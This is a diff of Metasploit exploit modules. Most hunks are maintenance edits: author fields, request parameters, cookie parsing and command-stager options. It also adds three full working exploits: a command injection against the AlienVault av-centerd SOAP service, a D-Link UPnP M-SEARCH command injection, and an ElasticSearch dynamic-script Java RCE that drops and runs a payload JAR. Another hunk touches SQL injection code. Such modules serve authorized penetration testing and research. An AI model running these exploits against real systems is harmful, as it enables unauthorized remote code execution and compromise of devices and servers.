b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb index 9be98b2b95..0b76af186e 100644 --- a/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb +++ b/modules/exploits/linux/http/raidsonic_nas_ib5220_exec_noauth.rb @@ -26,7 +26,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Michael Messner ', # Vulnerability discovery and Metasploit module + 'Michael Messner ', # Vulnerability discovery and Metasploit module 'juan vazquez' # minor help with msf module ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb index ffc6163100..badc596fef 100644 --- a/modules/exploits/linux/http/sophos_wpa_iface_exec.rb +++ b/modules/exploits/linux/http/sophos_wpa_iface_exec.rb @@ -25,7 +25,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'Author' => [ - 'Brandon Perry ' # discovery and Metasploit module + 'Brandon Perry ' # discovery and Metasploit module ], 'License' => MSF_LICENSE, 'References' => @@ -100,9 +100,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Authenticating as " + datastore['USERNAME']) login = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/index.php?c=login'), + 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'POST', - 'vars_post' => post + 'vars_post' => post, + 'vars_get' => { + 'c' => 'login', + } }) if !login or login.code != 200 or login.body !~ /#{datastore['USERNAME']}<\/a>/ @@ -134,9 +137,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Changing old password hash to notpassword") passchange = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, '/index.php?c=change_password'), + 'uri' => normalize_uri(target_uri.path, '/index.php'), 'method' => 'POST', - 'vars_post' => post + 'vars_post' => post, + 'vars_get' => { + 'c' => 'change_password' + } }) if !passchange or passchange.code != 200 @@ -166,9 +172,12 @@ class Metasploit3 < Msf::Exploit::Remote } login = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'index.php?c=login'), + 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', - 'vars_post' => post + 'vars_post' => post, + 'vars_get' => { + 'c' => 'login', + } }) if !login or login.code != 200 or login.body !~ /admin<\/a>/ @@ -192,9 +201,12 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending payload") send_request_cgi({ - 'uri' => normalize_uri(target_uri.path, 'index.php?c=netinterface'), + 'uri' => normalize_uri(target_uri.path, 'index.php'), 'method' => 'POST', 'vars_post' => post, + 'vars_get' => { + 'c' => 'netinterface', + } }) end end diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index 96e02f8cbf..71901569d9 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -88,7 +88,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit user = datastore['USERNAME'] pass = datastore['PASSWORD'] - auth = Rex::Text.encode_base64("#{user}:#{pass}") cmd = Rex::Text.uri_encode(";#{payload.encoded}&") lines = rand(100) + 1 @@ -96,11 +95,14 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending payload (#{payload.encoded.length} bytes)") begin res = send_request_cgi({ - 'uri' => "/index.cgi?nlines=#{lines}&action=See+logs&id=2-2&filelog=#{cmd}", - 'headers' => - { - 'Authorization' => "Basic #{auth}" - } + 'uri' => '/index.cgi', + 'authorization' => basic_auth(user, pass), + 'vars_get' => { + 'nlines' => lines, + 'action' => 'See logs', + 'id' => '2-2', + 'filelog' => cmd + } }, 25) rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout fail_with(Failure::Unreachable, 'Connection failed') diff --git a/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb new file mode 100644 index 0000000000..0ac3e19cd3 --- /dev/null +++ b/modules/exploits/linux/ids/alienvault_centerd_soap_exec.rb @@ -0,0 +1,140 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rexml/document' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include REXML + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'AlienVault OSSIM av-centerd Command Injection', + 'Description' => %q{ + This module exploits a code execution flaw in AlienVault 4.6.1 and + prior. The vulnerability exists in the av-centerd SOAP web service, + where the update_system_info_debian_package method uses perl backticks + in an insecure way, allowing command injection. This module has been + tested successfully on AlienVault 4.6.0. + }, + 'Author' => + [ + 'Unknown', # From HP ZDI team, Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3804'], + ['BID', '67999'], + ['ZDI', '14-202'], + ['URL', 'http://forums.alienvault.com/discussion/2690'] + ], + 'Privileged' => true, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + #'BadChars' => "[;`$<>|]", # Don't apply bcuz of the perl stub applied + 'Compat' => { + 'RequiredCmd' => 'perl netcat-e openssl python gawk' + } + }, + 'DefaultOptions' => + { + 'SSL' => true + }, + 'Targets' => + [ + [ 'AlienVault <= 4.6.1', { }] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'May 5 2014')) + + register_options( + [ + Opt::RPORT(40007) + ], self.class) + end + + def check + version = "" + res = send_soap_request("get_dpkg") + + if res && + res.code == 200 && + res.headers['SOAPServer'] && + res.headers['SOAPServer'] =~ /SOAP::Lite/ && + res.body.to_s =~ /alienvault-center\s*([\d\.]*)-\d/ + + version = $1 + end + + if version.empty? || version >= "4.7.0" + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Appears + end + end + + def exploit + send_soap_request("update_system_info_debian_package", 1) + end + + def build_soap_request(method) + xml = Document.new + xml.add_element( + "soap:Envelope", + { + 'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance", + 'xmlns:soapenc' => "http://schemas.xmlsoap.org/soap/encoding/", + 'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema", + 'soap:encodingStyle' => "http://schemas.xmlsoap.org/soap/encoding/", + 'xmlns:soap' => "http://schemas.xmlsoap.org/soap/envelope/" + }) + body = xml.root.add_element("soap:Body") + m = body.add_element( + method, + { + 'xmlns' => "AV/CC/Util" + }) + args = [] + args[0] = m.add_element("c-gensym3", {'xsi:type' => 'xsd:string'}) + args[1] = m.add_element("c-gensym5", {'xsi:type' => 'xsd:string'}) + args[2] = m.add_element("c-gensym7", {'xsi:type' => 'xsd:string'}) + args[3] = m.add_element("c-gensym9", {'xsi:type' => 'xsd:string'}) + (0..3).each { |i| args[i].text = rand_text_alpha(4 + rand(4)) } + + if method == "update_system_info_debian_package" + args[4] = m.add_element("c-gensym11", {'xsi:type' => 'xsd:string'}) + perl_payload = "system(decode_base64" + perl_payload += "(\"#{Rex::Text.encode_base64(payload.encoded)}\"))" + args[4].text = "#{rand_text_alpha(4 + rand(4))}" + args[4].text += " && perl -MMIME::Base64 -e '#{perl_payload}'" + end + + xml.to_s + end + + def send_soap_request(method, timeout = 20) + soap = build_soap_request(method) + + res = send_request_cgi({ + 'uri' => '/av-centerd', + 'method' => 'POST', + 'ctype' => 'text/xml; charset=UTF-8', + 'data' => soap, + 'headers' => { + 'SOAPAction' => "\"AV/CC/Util##{method}\"" + } + }, timeout) + + res + end + +end diff --git a/modules/exploits/linux/ids/snortbopre.rb b/modules/exploits/linux/ids/snortbopre.rb index 3fe23de2e7..43216917d9 100644 --- a/modules/exploits/linux/ids/snortbopre.rb +++ b/modules/exploits/linux/ids/snortbopre.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote be used to completely compromise a Snort sensor, and would typically gain an attacker full root or administrative privileges. }, - 'Author' => 'KaiJern Lau ', + 'Author' => 'KaiJern Lau ', 'License' => BSD_LICENSE, 'References' => [ diff --git a/modules/exploits/linux/misc/sercomm_exec.rb b/modules/exploits/linux/misc/sercomm_exec.rb index 8625e5baff..d8e32cb69e 100644 --- a/modules/exploits/linux/misc/sercomm_exec.rb +++ b/modules/exploits/linux/misc/sercomm_exec.rb @@ -9,7 +9,7 @@ class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp - include Msf::Exploit::CmdStagerEcho + include Msf::Exploit::CmdStager def initialize(info={}) super(update_info(info, @@ -133,7 +133,7 @@ class Metasploit3 < Msf::Exploit::Remote OptBool.new('NOARGS', [false, "Don't use the echo -en parameters", false ]), OptEnum.new('ENCODING', [false, "Payload encoding to use", 'hex', ['hex', 'octal']]), ], self.class) - + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') end def check @@ -168,7 +168,8 @@ class Metasploit3 < Msf::Exploit::Remote execute_cmdstager( :noargs => @no_args, :temp => @upload_path, - :enc_format => @encoding_format + :enc_format => @encoding_format, + :flavor => :echo ) end diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 42028df550..6733a74033 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -139,4 +139,4 @@ class Metasploit3 < Msf::Exploit::Remote handler(conn.lsock) end end -end \ No newline at end of file +end diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb new file mode 100644 index 0000000000..e5c291b4e7 --- /dev/null +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -0,0 +1,149 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection', + 'Description' => %q{ + Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast + requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip + has initially reported the DIR-815 vulnerable. Probably there are other devices also + affected. + }, + 'Author' => + [ + 'Zachary Cutlip', # Vulnerability discovery and initial exploit + 'Michael Messner ' # Metasploit module and verification on other routers + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit + ['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit + ], + 'DisclosureDate' => 'Feb 01 2013', + 'Privileged' => true, + 'Targets' => + [ + [ 'MIPS Little Endian', + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPSLE + } + ], + [ 'MIPS Big Endian', # unknown if there are big endian devices out there + { + 'Platform' => 'linux', + 'Arch' => ARCH_MIPS + } + ] + ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + Opt::RHOST(), + Opt::RPORT(1900) + ], self.class) + + deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + end + + def check + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:upnp:rootdevice\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + + res = nil + 1.upto(5) do + res,_,_ = udp_sock.recvfrom(65535, 1.0) + break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi + udp_sock.sendto(pkt, rhost, rport, 0) + end + + # UPnP response: + # [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1 + # we do not check for the Device ID (DIR-645) and for the firmware version because there are different + # dlink devices out there and we do not know all the vulnerable versions + + if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi + return Exploit::CheckCode::Detected + end + + Exploit::CheckCode::Unknown + end + + def execute_command(cmd, opts) + configure_socket + + pkt = + "M-SEARCH * HTTP/1.1\r\n" + + "Host:239.255.255.250:1900\r\n" + + "ST:uuid:`#{cmd}`\r\n" + + "Man:\"ssdp:discover\"\r\n" + + "MX:2\r\n\r\n" + + udp_sock.sendto(pkt, rhost, rport, 0) + end + + def exploit + print_status("#{peer} - Trying to access the device via UPnP ...") + + unless check == Exploit::CheckCode::Detected + fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + end + + print_status("#{peer} - Exploiting...") + execute_cmdstager( + :flavor => :echo, + :linemax => 950 + ) + end + + # the packet stuff was taken from the module miniupnpd_soap_bof.rb + # We need an unconnected socket because SSDP replies often come + # from a different sent port than the one we sent to. This also + # breaks the standard UDP mixin. + def configure_socket + self.udp_sock = Rex::Socket::Udp.create({ + 'Context' => { 'Msf' => framework, 'MsfExploit' => self } + }) + add_socket(self.udp_sock) + end + + # Need to define our own rhost/rport/peer since we aren't + # using the normal mixins + + def rhost + datastore['RHOST'] + end + + def rport + datastore['RPORT'] + end + + def peer + "#{rhost}:#{rport}" + end + + # Accessor for our UDP socket + attr_accessor :udp_sock + +end diff --git a/modules/exploits/multi/browser/itms_overflow.rb b/modules/exploits/multi/browser/itms_overflow.rb index fe24f06002..49fb227868 100644 --- a/modules/exploits/multi/browser/itms_overflow.rb +++ b/modules/exploits/multi/browser/itms_overflow.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote Because iTunes is multithreaded, only vfork-based payloads should be used. }, - 'Author' => [ 'Will Drewry ' ], + 'Author' => [ 'Will Drewry ' ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/exploits/multi/browser/mozilla_compareto.rb b/modules/exploits/multi/browser/mozilla_compareto.rb index cf49018f3d..4f29034c51 100644 --- a/modules/exploits/multi/browser/mozilla_compareto.rb +++ b/modules/exploits/multi/browser/mozilla_compareto.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote module is a direct port of Aviv Raff's HTML PoC. }, 'License' => MSF_LICENSE, - 'Author' => ['hdm', 'Aviv Raff '], + 'Author' => ['hdm', 'Aviv Raff '], 'References' => [ ['CVE', '2005-2265'], diff --git a/modules/exploits/multi/browser/opera_historysearch.rb b/modules/exploits/multi/browser/opera_historysearch.rb index 2c7a1efb27..9b619da376 100644 --- a/modules/exploits/multi/browser/opera_historysearch.rb +++ b/modules/exploits/multi/browser/opera_historysearch.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Roberto Suggi', # Discovered the vulnerability - 'Aviv Raff ', # showed it to be exploitable for code exec + 'Aviv Raff ', # showed it to be exploitable for code exec 'egypt', # msf module ], 'References' => diff --git a/modules/exploits/multi/elasticsearch/script_mvel_rce.rb b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb new file mode 100644 index 0000000000..c338fe7ffa --- /dev/null +++ b/modules/exploits/multi/elasticsearch/script_mvel_rce.rb @@ -0,0 +1,214 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution', + 'Description' => %q{ + This module exploits a remote command execution (RCE) vulnerability in ElasticSearch, + exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the + REST API, which does not require authentication, where the search + function allows dynamic scripts execution. It can be used for remote attackers + to execute arbitrary Java code. This module has been tested successfully on + ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3. + }, + 'Author' => + [ + 'Alex Brasetvik', # Vulnerability discovery + 'Bouke van der Bijl', # Vulnerability discovery and PoC + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2014-3120'], + ['OSVDB', '106949'], + ['EDB', '33370'], + ['URL', 'http://bouk.co/blog/elasticsearch-rce/'], + ['URL', 'https://www.found.no/foundation/elasticsearch-security/#staying-safe-while-developing-with-elasticsearch'] + ], + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'Targets' => + [ + [ 'ElasticSearch 1.1.1 / Automatic', { } ] + ], + 'DisclosureDate' => 'Dec 09 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(9200), + OptString.new('TARGETURI', [ true, 'The path to the ElasticSearch REST API', "/"]), + OptString.new("WritableDir", [ true, "A directory where we can write files (only for *nix environments)", "/tmp" ]) + ], self.class) + end + + def check + result = Exploit::CheckCode::Safe + + if vulnerable? + result = Exploit::CheckCode::Vulnerable + end + + result + end + + def exploit + print_status("#{peer} - Trying to execute arbitrary Java...") + unless vulnerable? + fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...") + end + + print_status("#{peer} - Discovering remote OS...") + res = execute(java_os) + result = parse_result(res) + if result.nil? + fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...") + else + # TODO: It'd be nice to report_host() with this info. + print_good("#{peer} - Remote OS is '#{result}'") + end + + jar_file = "" + if result =~ /win/i + print_status("#{peer} - Discovering TEMP path") + res = execute(java_tmp_dir) + result = parse_result(res) + if result.nil? + fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...") + else + print_good("#{peer} - TEMP path identified: '#{result}'") + end + jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar" + else + jar_file = File.join(datastore['WritableDir'], "#{rand_text_alpha(3 + rand(4))}.jar") + end + + register_file_for_cleanup(jar_file) + execute(java_payload(jar_file)) + end + + def vulnerable? + addend_one = rand_text_numeric(rand(3) + 1).to_i + addend_two = rand_text_numeric(rand(3) + 1).to_i + sum = addend_one + addend_two + + java = java_sum([addend_one, addend_two]) + res = execute(java) + result = parse_result(res) + + if result.nil? + return false + else + result.to_i == sum + end + end + + def parse_result(res) + unless res && res.code == 200 && res.body + return nil + end + + begin + json = JSON.parse(res.body.to_s) + rescue JSON::ParserError + return nil + end + + begin + result = json['hits']['hits'][0]['fields']['msf_result'][0] + rescue + return nil + end + + result + end + + def java_sum(summands) + source = <<-EOF +#{summands.join(" + ")} + EOF + + source + end + + def to_java_byte_array(str) + buff = "byte[] buf = new byte[#{str.length}];\n" + i = 0 + str.unpack('C*').each do |c| + buff << "buf[#{i}] = #{c};\n" + i = i + 1 + end + + buff + end + + def java_os + "System.getProperty(\"os.name\")" + end + + def java_tmp_dir + "System.getProperty(\"java.io.tmpdir\");" + end + + + def java_payload(file_name) + source = <<-EOF +import java.io.*; +import java.lang.*; +import java.net.*; + +#{to_java_byte_array(payload.encoded_jar.pack)} +File f = new File('#{file_name.gsub(/\\/, "/")}'); +FileOutputStream fs = new FileOutputStream(f); +bs = new BufferedOutputStream(fs); +bs.write(buf); +bs.close(); +bs = null; +URL u = f.toURI().toURL(); +URLClassLoader cl = new URLClassLoader(new java.net.URL[]{u}); +Class c = cl.loadClass('metasploit.Payload'); +c.main(null); + EOF + + source + end + + def execute(java) + payload = { + "size" => 1, + "query" => { + "filtered" => { + "query" => { + "match_all" => {} + } + } + }, + "script_fields" => { + "msf_result" => { + "script" => java + } + } + } + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path.to_s, "_search"), + 'method' => 'POST', + 'data' => JSON.generate(payload) + }) + + return res + end + +end diff --git a/modules/exploits/multi/http/activecollab_chat.rb b/modules/exploits/multi/http/activecollab_chat.rb index d926fafdce..7a6bf553b4 100644 --- a/modules/exploits/multi/http/activecollab_chat.rb +++ b/modules/exploits/multi/http/activecollab_chat.rb @@ -97,7 +97,7 @@ class Metasploit3 < Msf::Exploit::Remote # response handling if res and res.code == 302 - if (res.headers['Set-Cookie'] =~ /ac_ActiveCollab_sid_eaM4h3LTIZ=(.*); expires=/) + if res.get_cookies =~ /ac_ActiveCollab_sid_[a-zA-Z0-9]+=(.*); expires=/ acsession = $1 end elsif res and res.body =~ /Failed to log you in/ diff --git a/modules/exploits/multi/http/axis2_deployer.rb b/modules/exploits/multi/http/axis2_deployer.rb index acf1734552..dfe58bb7d6 100644 --- a/modules/exploits/multi/http/axis2_deployer.rb +++ b/modules/exploits/multi/http/axis2_deployer.rb @@ -283,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote # likely to change success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1) - if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/) + if res.get_cookies =~ /JSESSIONID=(.*);/ session = $1 end end @@ -319,7 +319,7 @@ class Metasploit3 < Msf::Exploit::Remote # likely to change success = true if(res.body.scan(/Welcome to Axis2 Web/i).size == 1) - if (res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/) + if res.get_cookies =~ /JSESSIONID=(.*);/ session = $1 end end diff --git a/modules/exploits/multi/http/dexter_casinoloader_exec.rb b/modules/exploits/multi/http/dexter_casinoloader_exec.rb index 9e4e795987..f7844589e7 100644 --- a/modules/exploits/multi/http/dexter_casinoloader_exec.rb +++ b/modules/exploits/multi/http/dexter_casinoloader_exec.rb @@ -79,8 +79,8 @@ class Metasploit3 < Msf::Exploit::Remote 'page' => Rex::Text.encode_base64("' AND 1=2 UNION ALL SELECT 1," + column + ",3 FROM " + table + " LIMIT 1 OFFSET " + row.to_s + " -- --") } }) - if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') - return Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1]))[1..-3] + if res and !res.get_cookies.empty? and res.get_cookies.start_with?('response=') + return Rex::Text.decode_base64(URI.unescape(res.get_cookies['response='.length..-1]))[1..-3] end return false end @@ -96,8 +96,8 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.headers.has_key?('Set-Cookie') and res.headers['Set-Cookie'].start_with?('response=') and - Rex::Text.decode_base64(URI.unescape(res.headers['Set-Cookie']['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false + if res and !res.get_cookies.empty? and res.get_cookies.start_with?('response=') and + Rex::Text.decode_base64(URI.unescape(res.get_cookies['response='.length..-1])) == '$' + testvalue + ';#' and database_get_field('users', 'name', 0) != false return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe @@ -167,4 +167,4 @@ class Metasploit3 < Msf::Exploit::Remote return end end -end \ No newline at end of file +end diff --git a/modules/exploits/multi/http/gitorious_graph.rb b/modules/exploits/multi/http/gitorious_graph.rb index 36dbc96e70..5dae86e055 100644 --- a/modules/exploits/multi/http/gitorious_graph.rb +++ b/modules/exploits/multi/http/gitorious_graph.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote # Make sure the URI begins with a slash uri = normalize_uri(datastore['URI']) - command = Rex::Text.uri_encode(payload.raw, 'hex-all') + command = Rex::Text.uri_encode(payload.raw, 'hex-noslashes') command.gsub!("%20","%2520") res = send_request_cgi({ 'uri' => "/api"+ uri + "/log/graph/%60#{command}%60", diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 7115369187..042f17ccd2 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -684,7 +684,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying #{type} credentials for GlassFish 2.x #{user}:'#{pass}'....") res = try_login(user,pass) if res and res.code == 302 - session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) + session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i res = send_request('/applications/upload.jsf', 'GET', session) p = /Deploy Enterprise Applications\/Modules/ @@ -697,7 +697,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Trying #{type} credentials for GlassFish 3.x #{user}:'#{pass}'....") res = try_login(user,pass) if res and res.code == 302 - session = $1 if (res and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); /i) + session = $1 if res and res.get_cookies =~ /JSESSIONID=(.*); /i res = send_request('/common/applications/uploadFrame.jsf', 'GET', session) p = /<title>Deploy Applications or Modules/ @@ -788,7 +788,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Glassfish edition: #{banner}") #Get session - res.headers['Set-Cookie'] =~ /JSESSIONID=(.*); / + res.get_cookies =~ /JSESSIONID=(.*); / session = $1 #Set HTTP verbs. lower-case is used to bypass auth on v3.0 diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index 56c54d1008..aec23ca800 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -61,7 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote if res.code == 200 vprint_error("#{peer} - Authentication failed") return Exploit::CheckCode::Unknown - elsif res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ + elsif res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/ vprint_good("#{peer} - Authenticated successfully") return Exploit::CheckCode::Appears end @@ -130,7 +130,7 @@ class Metasploit3 < Msf::Exploit::Remote # login; get session id and token print_status("#{peer} - Authenticating as user '#{user}'") res = login(base, user, pass) - if res and res.code == 301 and res.headers['set-cookie'] =~ /sid([\da-f]+)=([\da-f]{32})/ + if res and res.code == 301 and res.get_cookies =~ /sid([\da-f]+)=([\da-f]{32})/ token = "#{$1}" sid = "#{$2}" print_good("#{peer} - Authenticated successfully") diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb index 221ed08964..b93b7ac9ba 100644 --- a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb +++ b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb @@ -13,7 +13,7 @@ class Metasploit3 < Msf::Exploit::Remote include REXML include Msf::Exploit::Remote::HttpClient - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::Remote::CmdStager def initialize(info = {}) super(update_info(info, @@ -50,7 +50,8 @@ class Metasploit3 < Msf::Exploit::Remote [ 'HP SiteScope 11.20 / Windows', { 'Arch' => ARCH_X86, - 'Platform' => 'win' + 'Platform' => 'win', + 'CmdStagerFlavor' => 'vbs' } ], [ 'HP SiteScope 11.20 / Linux', diff --git a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb index 825701d651..90b9a989e2 100644 --- a/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb +++ b/modules/exploits/multi/http/hp_sitescope_uploadfileshandler.rb @@ -102,7 +102,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST' ) - if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ + if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 else print_error("#{peer} - Retrieve of initial JSESSIONID failed") @@ -125,7 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote } }) - if res and res.code == 302 and res.headers['Set-Cookie'] =~ /JSESSIONID=([0-9A-F]*);/ + if res and res.code == 302 and res.get_cookies =~ /JSESSIONID=([0-9A-F]*);/ session_id = $1 redirect = URI(res.headers['Location']).path else diff --git a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb index 581fbce608..bbb6d97e6e 100644 --- a/modules/exploits/multi/http/hp_sys_mgmt_exec.rb +++ b/modules/exploits/multi/http/hp_sys_mgmt_exec.rb @@ -8,7 +8,7 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking - include Msf::Exploit::CmdStagerVBS + include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient def initialize(info={}) @@ -41,19 +41,23 @@ class Metasploit3 < Msf::Exploit::Remote [ ['Linux', { 'Platform' => 'linux', - 'Arch' => ARCH_X86 + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'bourne' }], ['Linux (x64)', { 'Platform' => 'linux', - 'Arch' => ARCH_X86_64 + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => 'bourne' }], ['Windows', { 'Platform' => 'win', - 'Arch' => ARCH_X86 + 'Arch' => ARCH_X86, + 'CmdStagerFlavor' => 'vbs' }], ['Windows (x64)', { 'Platform' => 'win', - 'Arch' => ARCH_X86_64 + 'Arch' => ARCH_X86_64, + 'CmdStagerFlavor' => 'vbs' }], ], 'Privileged' => false, @@ -113,7 +117,7 @@ class Metasploit3 < Msf::Exploit::Remote # CpqElm-Login: success if res.headers['CpqElm-Login'].to_s =~ /success/ - cookie = res.headers['Set-Cookie'].scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' + cookie = res.get_cookies.scan(/(Compaq\-HMMD=[\w\-]+)/).flatten[0] || '' end cookie @@ -121,11 +125,7 @@ class Metasploit3 < Msf::Exploit::Remote def setup_stager - case target.opts['Platform'] - when "linux" then opts = { :temp => './', :linemax => 2800 } - when "win" then opts = { :temp => '.', :linemax => 2800 } - end - execute_cmdstager(opts) + execute_cmdstager(:temp => './', 